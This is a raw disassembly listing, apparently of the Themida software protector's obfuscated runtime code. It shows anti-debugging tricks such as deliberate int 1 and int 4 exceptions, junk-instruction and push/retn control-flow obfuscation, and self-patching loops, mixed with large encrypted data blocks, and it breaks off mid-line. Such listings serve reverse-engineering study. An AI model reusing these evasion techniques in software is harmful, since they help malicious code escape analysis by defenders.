[ebp+60DADC9h] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2A61h] lea eax, [ebp+60E36A8h] push eax lea eax, [ebp+60E36C2h] push eax push 0 push 0 lea eax, [ebp+60DAE16h] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2A61h] lea eax, [ebp+60E36A8h] push eax lea eax, [ebp+60E36CAh] push eax push 0 push 0 lea eax, [ebp+60DAE34h] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2A61h] lea eax, [ebp+60E36A8h] push eax lea eax, [ebp+60E36C6h] push eax push 0 push 0 lea eax, [ebp+60DAE1Dh] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2A61h] lea eax, [ebp+60E36A8h] push eax lea eax, [ebp+60E36BAh] push eax push 0 push 0 lea eax, [ebp+60DAE25h] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2A61h] lea eax, [ebp+60E36A8h] push eax lea eax, [ebp+60E36BEh] push eax push 0 push 0 lea eax, [ebp+60DAE2Ch] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2A61h] push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2ACDh] jmp loc_56FA62 ; --------------------------------------------------------------------------- loc_56F9C0: ; CODE XREF: Themida_:0056F88Dj cmp dword ptr [ebp+60B08F9h], 0 jz loc_56FA62 cmp dword ptr [ebp+60B0B19h], 0 jnz loc_56F9EB mov edx, [ebp+60B1F75h] add edx, 1CF8h jmp loc_56F9FA ; --------------------------------------------------------------------------- loc_56F9EB: ; CODE XREF: Themida_:0056F9D4j lea edx, [ebp+60B043Dh] mov edx, [edx+34h] add edx, 3BD4C340h loc_56F9FA: ; CODE XREF: Themida_:0056F9E6j mov [ebp+60B2765h], edx cmp dword ptr [ebp+60B2765h], 0 jz loc_56FA62 mov ebx, [ebp+60B2765h] add ebx, 4Ch mov eax, [ebx] mov [ebp+60E36B2h], eax mov ebx, [ebp+60B2765h] add ebx, 50h mov eax, [ebx] mov [ebp+60E36B6h], eax mov ebx, [ebp+60B2765h] add ebx, 54h mov eax, [ebx] mov [ebp+60E36C2h], eax mov ebx, [ebp+60B2765h] add ebx, 58h mov eax, [ebx] mov [ebp+60E36C6h], eax mov ebx, [ebp+60B2765h] add ebx, 5Ch mov eax, [ebx] mov [ebp+60E36BAh], eax loc_56FA62: ; CODE XREF: Themida_:0056F9BBj ; Themida_:0056F9C7j ... cmp dword ptr [ebp+60B0299h], 0 jnz loc_56FA7C cmp dword ptr [ebp+60B08F9h], 0 jz loc_56FAE4 loc_56FA7C: ; CODE XREF: Themida_:0056FA69j push dword ptr [ebp+60E36CAh] push dword ptr [ebp+60E36BEh] push dword ptr [ebp+60E36BAh] push dword ptr [ebp+60E36C6h] push dword ptr [ebp+60E36C2h] push dword ptr [ebp+60E36B6h] push dword ptr [ebp+60E36B2h] lea eax, [ebp+60E36ACh] push eax lea eax, [ebp+60E36E4h] push eax lea eax, [ebp+60B24BDh] push eax call dword ptr [ebp+60B000Dh] add esp, 24h push 40h lea eax, [ebp+60E36CEh] push eax lea eax, [ebp+60B24BDh] push eax push 0 call dword ptr [ebp+60B0BD9h] push 1 call dword ptr [ebp+60B2F4Dh] loc_56FAE4: ; CODE XREF: Themida_:0056FA76j mov eax, ecx call near ptr loc_56FAF3+1 fdivr dword ptr [ebx+1C09B2Ah] jp short loc_56FB0D loc_56FAF3: ; CODE XREF: Themida_:0056FAE6p cmp ah, [esi-75h] retf ; --------------------------------------------------------------------------- db 5Ah dd 38A0Fh, 0B70F0000h, 0ABC281C8h, 0F00005Ah, 0A88h db 0 ; --------------------------------------------------------------------------- loc_56FB0D: ; CODE XREF: Themida_:0056FAF1j jmp loc_56FB17 ; --------------------------------------------------------------------------- dw 0DD18h db 0DFh, 13h, 82h ; --------------------------------------------------------------------------- loc_56FB17: ; CODE XREF: Themida_:loc_56FB0Dj sub edi, edi mov ebx, 6644343Eh loc_56FB1E: ; CODE XREF: Themida_:0056FB92j mov eax, [edx+edi] call near ptr loc_56FB2C+1 sbb ecx, [edx] aaa sbb [eax-2Fh], ecx loc_56FB2C: ; CODE XREF: Themida_:0056FB21p arpl [esi+5FFB0D68h], di pop ecx add eax, 58CA8FC9h jmp loc_56FB48 ; --------------------------------------------------------------------------- dw 0F3F5h dd 4670AEBh, 62880C82h ; --------------------------------------------------------------------------- loc_56FB48: ; CODE XREF: Themida_:0056FB39j xor eax, 4C9B08FCh mov ebx, eax add eax, 4B9971DCh jz loc_56FB64 jnb loc_56FB64 pusha popa loc_56FB64: ; CODE XREF: Themida_:0056FB56j ; Themida_:0056FB5Cj push eax mov ebx, 59CF1B9h pop dword ptr [edx+edi] jz loc_56FB76 mov bx, ax loc_56FB76: ; CODE XREF: Themida_:0056FB6Dj jmp loc_56FB88 ; --------------------------------------------------------------------------- db 0DFh dd 510BC924h, 9035E212h, 23591956h ; --------------------------------------------------------------------------- loc_56FB88: ; CODE XREF: Themida_:loc_56FB76j sub edi, 4 clc cmp edi, 0FFFFA600h jnz loc_56FB1E mov cl, 3Eh pusha mov dl, 73h mov eax, eax jmp loc_56FBAD ; --------------------------------------------------------------------------- dd 341E4F7Ah, 8DFCC24h db 0Ch ; --------------------------------------------------------------------------- loc_56FBAD: ; CODE XREF: Themida_:0056FB9Fj cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_56FBBF cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56FBD8 loc_56FBBF: ; CODE XREF: Themida_:0056FBB4j push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB31Ah] call ebx pop ebx pop eax loc_56FBD8: ; CODE XREF: Themida_:0056FBBDj cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56FBF8 push eax push ebx mov eax, 40Eh mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB009h] call ebx pop ebx pop eax loc_56FBF8: ; CODE XREF: Themida_:0056FBDFj mov dl, 49h stc mov eax, eax mov edx, 629CB38Bh cmp dword ptr [ebp+60B2715h], 0 jz loc_56FC1E push edi mov dh, 9Ah pop esi cld jmp loc_56FE81 ; --------------------------------------------------------------------------- xor si, 0F582h loc_56FC1E: ; CODE XREF: Themida_:0056FC09j mov edi, ds push 0 push edx call sub_56FC2B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56FC2B proc near ; CODE XREF: Themida_:0056FC23p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_56FC2B endp ; --------------------------------------------------------------------------- aas mov bl, 8Bh retf 0F766h ; --------------------------------------------------------------------------- db 0C7h, 4, 0 ; --------------------------------------------------------------------------- jnz loc_56FE81 jmp loc_56FC5A ; --------------------------------------------------------------------------- db 40h dd 0D165A8E0h, 78392856h db 83h, 90h ; --------------------------------------------------------------------------- loc_56FC5A: ; CODE XREF: Themida_:0056FC4Aj mov si, 0B54h mov edi, 0 push 0 push edi call sub_56FC6E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56FC6E proc near ; CODE XREF: Themida_:0056FC66p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_56FC6E endp ; --------------------------------------------------------------------------- dw 476Eh dd 8DFCC057h, 0E3D989Dh, 0BA66F506h, 8B930D7Bh, 13E850D7h dd 0D8000000h, 58A0A8F5h, 0AE93DD04h, 0AF5E73A8h, 379BCF1Fh dd 0F78B3B40h, 6A935Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 807E96C3h, 0FF644C63h, 35h, 25896400h dd 0 ; --------------------------------------------------------------------------- mov eax, esp jmp loc_56FCEF ; --------------------------------------------------------------------------- db 3Ah dd 0C42FD469h, 36EFB0DFh db 72h, 0FCh, 3Fh ; --------------------------------------------------------------------------- loc_56FCEF: ; CODE XREF: Themida_:0056FCDEj int 1 ; - internal hardware - SINGLE-STEP ; generated at end of each machine instruction if TF bit in FLAGS is set jmp short $+2 push 0 push ecx call sub_56FCFE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56FCFE proc near ; CODE XREF: Themida_:0056FCF6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_56FCFE endp ; --------------------------------------------------------------------------- dw 5CDDh dd 0AC372752h, 6FAC79ADh, 8BD78B66h, 52006AF1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0FB6E5D38h dd 0FBE23F9h, 8E8C9B7h, 0D0000000h, 1542944Fh, 66CD3804h dd 37A6E981h, 58F645Eh, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_56FD67 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56FD67 proc near ; CODE XREF: Themida_:0056FD5Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_56FD67 endp ; --------------------------------------------------------------------------- db 0FCh dd 5F3AF5D2h, 0F89DCD8h, 0CE9D0B7h, 3E000000h, 0F4CF924Fh dd 982A6629h, 83242229h, 6A04C4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B96625C3h, 0BE669851h dd 0C00BAC45h, 0BF840Fh, 0BA660000h, 666132AAh, 0BD8DC88Bh dd 60B7305h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 93C35747h, 5AADBF2Bh, 2736CAEAh, 4890FF8h, 52000000h dd 0B8595A50h, 1, 7E8CDB1h, 35000000h, 0C1E96FA0h, 8B609C3Bh dd 0FF5A61FAh, 57006AE7h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0BE6B0741h, 34EDADBCh dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h dd 83000000h, 0B883h, 335F0200h, 0E860C3C0h, 11h, 6F8C4DB4h dd 0A14E57A5h, 68524FFEh, 6476914Ch, 1709BF4Eh, 0BA584CA1h dd 2415620h ; --------------------------------------------------------------------------- popa loc_56FE81: ; CODE XREF: Themida_:0056FC14j ; Themida_:0056FC44j popa mov edx, 6B7ADE02h mov eax, eax push 0 push ecx call sub_56FE94 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56FE94 proc near ; CODE XREF: Themida_:0056FE8Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_56FE94 endp ; --------------------------------------------------------------------------- dd 8D4B5672h, 0BDBD83E1h, 60B05h, 0BD830975h, 60B29D1h dd 50197400h, 0B8C08B53h, 40Eh, 12998589h, 9D8D060Bh, 60DB381h dd 585BD3FFh, 29D1BD83h, 7400060Bh, 0B8535017h, 40Eh, 12998589h dd 9D8D060Bh, 60DB022h, 585BD3FFh, 6A5A52h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 976F6EC3h dd 8B0FF941h, 3, 8BE8F180h, 0AE9C0h, 0B6550000h, 0BEB907AFh dd 3AEDF738h, 8BB6CD80h, 1718EBC2h, 9B46F3h, 4 dup(0) dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 0E3EBAEDh dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 0FFFFh, 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 60E3EF2h, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 60E3EF6h dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 65858B00h, 86060B27h dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 60B0AB5h, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 65858B00h, 0C6060B27h, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 0B276585h, 0A188606h dd 0F6850FDBh, 0C7FFFFFFh, 0B1E9985h, 6, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 60B1E99h dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 60E3E97h, 1 dd 4C010F50h, 858FFE24h, 60E3E9Bh, 3E93858Dh, 0BD8D060Eh dd 60E3E9Bh, 23E93889h, 8D000000h, 0B043D85h, 38408B06h dd 46F31705h, 9385899Bh, 8D060E3Eh, 0B043D85h, 3C408B06h dd 3E978589h, 858D060Eh, 60E3EB0h, 0AB58589h, 87E9060Bh dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h dd 0 dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 60E4123h dd 52D8589h, 858D060Bh, 60E414Bh, 21ED8589h, 858D060Bh dd 60E4173h, 0F018589h, 8EB060Bh, 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5702FC ; --------------------------------------------------------------------------- db 60h, 52h, 0Fh ; --------------------------------------------------------------------------- add [esp-2], ecx pop edx add edx, 24h loc_57028C: ; CODE XREF: Themida_:005702C3j mov eax, [ebp+60B0B19h] lea eax, [ebp+60E70DAh] mov ecx, [eax] mov ecx, [eax+1000h] mov ecx, [edx] mov cx, [edx-4] mov [ebp+60E41D4h], ecx cmp dword ptr [ebp+60B0DB1h], 0 jz loc_5702C8 pusha push 0 call dword ptr [ebp+60B32DDh] popa jmp loc_57028C ; --------------------------------------------------------------------------- loc_5702C8: ; CODE XREF: Themida_:005702B3j mov [edx-4], si ror esi, 10h mov [edx+2], si push edx int 4 ; - internal hardware - OVERFLOW ; Generated by INTO instruction if OF flag is set. If flag is not set, INTO ; is effectively a NOP. pop edx mov [ebp+60E41D0h], eax mov esi, [ebp+60E41D4h] ror esi, 10h mov [edx+2], si mov esi, [ebp+60E41D4h] mov [edx-4], si popa mov eax, [ebp+60E41D0h] retn ; --------------------------------------------------------------------------- loc_5702FC: ; CODE XREF: Themida_:0057027Cj lea edx, [ebp+60B2F65h] mov [ebp+60B2765h], edx mov [ebp+60B2EC5h], edx inc dword ptr [ebp+60B2EC5h] mov byte ptr [ebp+60B2845h], 53h push 0FCB148D8h push dword ptr [ebp+60B0B01h] lea eax, [ebp+60B390Dh] call eax mov [ebp+60B32DDh], eax lea eax, [ebp+60E3ECAh] mov [ebp+60B1BBDh], eax jmp short $+2 jmp loc_5708F4 ; --------------------------------------------------------------------------- jmp loc_5708ED ; --------------------------------------------------------------------------- push 60E436Fh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E44B8h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E4521h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E460Ah jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E471Ch jmp loc_543FDB ; --------------------------------------------------------------------------- dw 0F204h dd 98EF18DBh, 4E5D4AA9h, 0FF07E073h, 0AEF213C0h, 0EEF54C97h dd 29CAF50Fh, 599AA7FCh, 0F66D58ACh, 22310C19h, 0EF9B13D9h dd 60C59A5Fh, 27A72B91h, 0DFC3941Dh, 0C3941DABh, 941D384Bh dd 1D86C6C3h, 0F7EC394h, 0F7C3941Dh, 43941D97h, 9C4ED5A7h dd 9F25E508h, 0FA605A3Dh, 11C2FD0Bh, 4795A0F4h, 82764B56h dd 70A8A04Eh, 0BBC5172Ch, 0F30C394Ah, 0E0B20632h, 1DE907C9h dd 0C46B5EC8h, 26A5CB70h, 968E6717h, 0A8A79B78h, 0C6DF7A6h dd 341AFD55h, 0B1000004h, 18F56E65h, 0C6273C0Dh, 0B05D86BBh dd 1F886B6Ah, 9A393A05h, 5D60B853h, 2D106986h, 0F0CFD936h dd 44718263h, 76FE729Fh, 0C59A5E12h, 0DEBE2695h, 0B91B6DD5h dd 1B7F536Eh, 4B5647D1h, 864E8276h, 0C3941DC2h, 1DC08428h dd 7347C394h, 0B890BE84h, 941DD9A8h, 8C79EBC3h, 86FA4E7Bh dd 6ED2ED37h, 2BBAFC2Ah, 5F84B1C2h, 0E46865AEh, 7D5E035h dd 0CA5CBDD8h, 94F426A2h, 0A651A9C3h, 0DB234C27h, 0D83C10E4h dd 0B15E1B3Fh, 0D9774D10h, 4C7D8871h, 340B11F8h, 9B2A0040h dd 8E1F19E7h, 32211C69h, 40F227C6h, 3620232h, 0DEEA0000h dd 0DC14F8D5h, 0C3941DADh, 1F32D42Ch, 50FA9D39h, 0C0A91D71h dd 4B3599B4h, 3EC2BC49h, 7CE36964h, 68FC3203h, 0C394051Ch dd 7090AF93h, 94799728h, 0FBD62383h, 0BDAF5C87h, 94F95D29h dd 2E8D2C3h, 0C0B48B93h, 0DE320119h, 8012D830h, 94F9186Ch dd 7DABEFC3h, 0AA498490h, 0A91D287Dh, 0C1122D71h, 74E6D324h dd 0F90642EAh, 0B189C394h, 0B5CAB397h, 83C36B88h, 2C394F9h dd 3C7CC0FDh, 8711DB60h, 94F91B6Fh, 7896ECC3h, 0FD0F7EF6h dd 0BA80BD9Fh, 61F283ADh, 5FA4886h, 2EBh, 3E251C66h, 688BC6D1h dd 865D6CBFh, 31221169h, 62F1CCD4h, 2B718CD3h, 0D9DECF14h dd 868E7FE4h, 2E7B944Fh, 313BC013h, 9A59C9BDh, 9EF5EC5h dd 14F8D5DEh, 916550A5h, 75EED328h, 941DA1E1h, 2DA9D9C3h dd 0D328C394h, 0BACA1AEEh, 8A3C6BEDh, 6B8369F2h, 4260D3AAh dd 6855AA03h, 0EE3FFB74h, 1EF48662h, 282B9h, 9CABFF00h dd 625FA647h, 340514F1h, 99B8FE2Fh, 6857AD5Ah, 0C6254C8Bh dd 0B75083B2h, 6780536Eh, 0D03D2611h, 0A0698AC7h, 58A02448h dd 5827C59Ah, 4550BDE0h, 2673DA74h, 0ADF6A72Bh, 77DBF605h dd 0E24B3F13h, 68D1A59Ch, 0E15F2312h, 0EA5426A7h, 516CB560h dd 257FA9EDh, 8E3643A8h, 83C74B8Ah, 851EBDAFh, 8F5D5706h dd 77F1729Ch, 0F2467B86h, 5F8E709Eh, 4A324193h, 1E0h, 1D27A792h dd 5EA6C394h, 513FC67h, 0C27D4C5Fh, 2AEF86B5h, 0F765599Ah dd 26C0FD06h, 122D7B22h, 37B6F0AEh, 0FF8B23ADh, 70C394B2h dd 2771DC0Ah, 20C9CB28h, 1E3241A0h, 2D446FA1h, 0B3678B55h dd 91831983h, 0E178968Ah, 52h, 0E30D6F0Fh, 659CBB96h, 5772Ch dd 0A2CA1074h, 0BD9F6E7Bh, 0EB418EF4h, 10866293h, 1995D32h dd 0C2D40000h, 68BF688Bh, 1E6D9A59h, 0CFD73023h, 7E8263F0h dd 3E259C47h, 79FAC5DFh, 0A94A778Ch, 0C61D287Ch, 72E1DC29h dd 0BFCB6389h, 30C59A5Bh, 2EC2DB41h, 941DCA86h, 91655DC3h dd 72E1DC28h, 35A549F6h, 0B03651EFh, 0A162B796h, 9407790Dh dd 90F4CEC3h, 95B2CC2Ch, 0ED57A14Eh, 0E6DAAE95h, 45D75182h dd 9407A521h, 36D02AC3h, 3F7C2D7h, 0F278455Ah, 2AC4FB03h dd 4A84049h, 0C3940740h, 5E0FF3C7h, 0B9E57E53h, 6F75BE4h dd 0C8BC30FBh, 5FC39407h, 2F3E75A0h, 776BBCFCh, 2E5EC013h dd 1EC39489h, 0FF77E57Eh, 0BD9F8ECAh, 8F5675Bh, 734E59FDh dd 85574B8Fh, 43F94656h, 61095F2Bh, 2DEAD03Ah, 0CA62BF3Dh dd 3A616FBEh, 3BD5C931h, 9384FB8h, 3C0D485h, 616F9FEBh dd 6CBF103Ah, 0B195E95Dh, 0FB00E95Dh, 788B72C6h, 0DFBDFD41h dd 0E31E9644h, 74446A55h, 284A84D5h, 5A80E071h, 7E4CB6D2h dd 0EDC13930h, 6D81F462h, 2CE3678Ch, 87h, 5A99B0C2h, 0F46F5AADh dd 2231081Bh, 5D86BDC5h, 8E5568B0h, 0B7CD2037h, 65BA6B88h dd 1A6A9B58h, 0C2D73023h, 4D9F6CF7h, 9A5AADD9h, 0ED5322C5h dd 14F8D5DEh, 916550A5h, 3BE0ED27h, 0F400D3EEh, 3240F155h dd 177Ch, 50BD9800h, 4C807445h, 1DB3D2A2h, 0E132C394h dd 1F880FD4h, 10000000h, 941D27A7h, 0CFD8C5C3h, 0CCF30BF2h dd 0E3DE2B22h, 247F470h, 2A1A8A51h, 41A590E4h, 0D982B1A7h dd 293h, 0DE807000h, 0A009FDD4h, 27967A57h, 0AB12E6D1h dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h dd 0CF7BCFFAh, 3B7C68h, 48F5400h, 24048124h, 4, 62F968h dd 241C8900h, 272F68h, 243C8900h, 6EE868h, 240C8900h, 0E42DAB9h dd 59CB8906h, 243C8B54h, 6804C483h, 500h, 81241C89h, 2D2A2404h dd 478F2CA6h, 86F8108h, 2CA62D2Ah, 53243C8Bh, 0C381E389h dd 4, 4C381h, 1C870000h, 34FF5C24h, 0C4835B24h, 36FDE904h dd 0BF4AFFFDh, 0CE44BAF2h, 58E050A7h, 70FD7444h db 12h ; --------------------------------------------------------------------------- loc_5708ED: ; CODE XREF: Themida_:00570347j mov eax, 60E47C8h add eax, ebp loc_5708F4: ; CODE XREF: Themida_:00570342j mov edx, ecx jmp short loc_570918 ; --------------------------------------------------------------------------- dd 8 dup(0) ; --------------------------------------------------------------------------- loc_570918: ; CODE XREF: Themida_:005708F6j jmp loc_570EAC ; --------------------------------------------------------------------------- jmp loc_570EA5 ; --------------------------------------------------------------------------- push 60E4A17h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E4ACAh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E4CBAh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E4D21h jmp loc_543FDB ; --------------------------------------------------------------------------- dw 2E78h dd 0D423CC17h, 82917EE5h, 237B944Fh, 0D226C71Ch, 9AC170E3h dd 0DD063943h, 0DD6EB30h, 0BAB994E0h, 0D60D384Dh, 0DBAFC725h dd 0ACC59A55h, 0D3DE67DDh, 0D5C00AFEh, 8C58F6CDh, 43941DFCh dd 4D524329h, 4DA19CE5h, 496B85F9h, 0F7A544BCh, 4E8CB240h dd 68000000h, 941D26A7h, 6A8418C3h, 21CB2F16h, 0F2D2D5BAh dd 94420E7Ah, 9EB981C3h, 0A91035D9h, 0A5996D50h, 8D4DE18Bh dd 4FBD9914h, 38A23E10h, 286CD0E9h, 8F2660EFh, 6043E261h dd 0A9DD5124h, 3E3A6630h, 0D6543BC4h, 45BCA79Bh, 13h, 1D27A7EFh dd 8517C394h, 38F86CFEh, 0B7BD99E4h, 0DE609043h, 0E1D25D3h dd 18B2C9BFh, 0B4C73624h, 45C90410h, 65592D01h, 97B18C94h dd 38ECB3B3h, 4553456Bh, 0CED7860Ah, 0CCF90AF3h, 95100A78h dd 717CA4F9h, 93407988h, 0BFADBAC3h, 945A5737h, 1EE2D843h dd 0FD6F5AAFh, 45C90410h, 520CE701h, 615CA44Ah, 0DF3FDDD6h dd 47BBDD2Ch, 4B681195h, 0FDC53D9Fh, 79A9D909h, 247CBA61h dd 0ADF223A9h, 0ECC0FF05h, 100A2418h, 0AC3570F9h, 74D0h dd 0D6F3C00h, 0C85AE476h, 941D20A4h, 0B553A7C3h, 99DD7C21h dd 6389F1BDh, 5B2F47D1h, 2C3A65A2h, 0C0D538D6h, 50E26EF5h dd 65A3A8DCh, 2DDB3F3Ah, 6DFAD720h, 86661FB7h, 42894EC4h dd 0C9000003h, 0B05D86BDh, 1E8F5465h, 0C8253E13h, 0B75083B2h dd 3281526Dh, 0F5C8D02Bh, 4578816Eh, 2827719Eh, 0FCC9DACBh dd 0DE569A67h, 0C59A57AAh, 0C8D64E3Dh, 30Dh, 0FED3DE50h dd 1DAADA0Ah, 1348C394h, 990D1E84h, 0C39436EDh, 50FF1862h dd 0E5719FBFh, 0C3948D65h, 948CEE9Dh, 8C7808C3h, 6B9AC394h dd 7A5E221Dh, 8C4838CCh, 0D0B0C394h, 0E003948Ch, 0E655879Ch dd 2FE5E7DFh, 38DE9579h, 9858FA05h, 6DFF719Fh, 1988A3CEh dd 4CFAAD73h, 99C3D4B8h, 0C4D7C6FDh, 23CD01F5h, 326ADE24h dd 0E30BD16Ah, 846D9446h, 7AB4B387h, 894C7051h, 28FC6B9h dd 2140000h, 0A8FF28CBh, 5EAD5A99h, 0F17F063h, 0BEC22330h dd 0FEE55C87h, 393A051Fh, 698AB7CCh, 865D68BCh, 32211C69h dd 0FF8B23C9h, 70C59A57h, 0D5DE1B81h, 1DE2E60Eh, 1D65C394h dd 47555539h, 0AEF751A9h, 0F7EB2F93h, 0ECC0FD06h, 0FEE6C17Eh dd 82B583FEh, 36628A64h, 39BD99BDh, 0A6F512C1h, 0D13C48ABh dd 0F25BF5C8h, 0C626AAA7h, 37BFADB6h, 446BEA0Bh, 43DDDD7Ch dd 0D33E4AE2h, 49B13077h, 0CB68F98Eh, 81211493h, 48AC8039h dd 94EC19ABh, 97F77FA9h, 0A73077EDh, 3F9C4ED5h, 16549F80h dd 0F3C2D8DBh, 0A195609Fh, 7A1D0B0Fh, 0A28A22CCh, 9D4E7AD5h dd 3D46B7A5h, 0E132D300h, 0B5193441h, 3C80B1C4h, 3C80E4D8h dd 40F54434h, 0B034462Eh, 2E40FAD4h, 691D915Bh, 0FE2E40FAh dd 797A084h, 381ADC3h, 1E7E3EE8h, 835FD705h, 0D4504DC9h dd 84917CEEh, 2772A349h, 8A7BFC2Ah, 0F3CED979h, 3D42CB0Fh dd 88582C00h, 2451F8E8h, 0F50AA4F8h, 0F406D4C8h, 51F81470h dd 0B5A79B24h, 51F85531h, 46E0DA24h, 1C00A4h, 0BA135A5Ch dd 87558365h, 0C6AB9777h, 0C63A1EE2h, 7A9CE914h, 24D34609h dd 0ACF25B3Ah, 89ED2195h, 5D68BD6Ah, 50EBB1E9h, 2BD2628Ah dd 251D5C2Eh, 9BF19151h, 7C24183Dh, 0E43AEB71h, 28196CDDh dd 54C660A4h, 0DEA76B5h, 320F1A8Bh, 0C4D14h, 0A7AB0000h dd 0C3943227h, 20B0h, 1EBDD800h, 0AEC6AEB9h, 0C394A6DAh dd 55AA55ADh, 3EB6A439h, 0C394364Ah, 0BB4BE5DDh, 0C39418CBh dd 800D6F5Dh, 941D186Ch, 5CFEAFC3h, 0AC8935B6h, 1F50EFD3h dd 2B3695DCh, 0BA349ADh, 0BD99C72Fh, 84563A00h, 0AFC70C19h dd 3A65C4DBh, 8E7256ACh, 7C009C4Ah, 8F175E7h, 88446EC0h dd 0E38071Dh, 0D23EC931h, 198C7109h, 9F5629h, 12640000h dd 0B8CF383Bh, 6EBD6A89h, 1F678053h, 0CED23320h, 8ED56CF7h dd 0C92A156Fh, 79FAC7DCh, 964D788Ch, 0C2112C79h, 0CFBB3339h dd 40C59A51h, 0D6F0BF1h, 45B990E3h, 0E53B1F97h, 0B461BD99h dd 58B7516Ch, 0B195A4F7h, 0C7C07FCDh, 0EEEE1D3Fh, 0A9F3CB65h dd 29244892h, 0BE446E61h, 0A64F8B44h, 8E848C71h, 38C9h dd 9CABFF00h, 625FA647h, 340514F1h, 99B8FE2Fh, 6857AD5Ah dd 0C6254C8Bh, 0B75083B2h, 6780536Eh, 0D03D2611h, 0A0698AC7h dd 50A02448h, 5827C59Ah, 3C8E0h, 84500000h, 0FDD4DE9Ch dd 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h dd 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 8951CF7Bh, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 2404895Ch, 6A6168h, 243C8900h dd 688568h, 24348900h, 410EBA52h, 0D78905EBh, 0A8F7815Ah dd 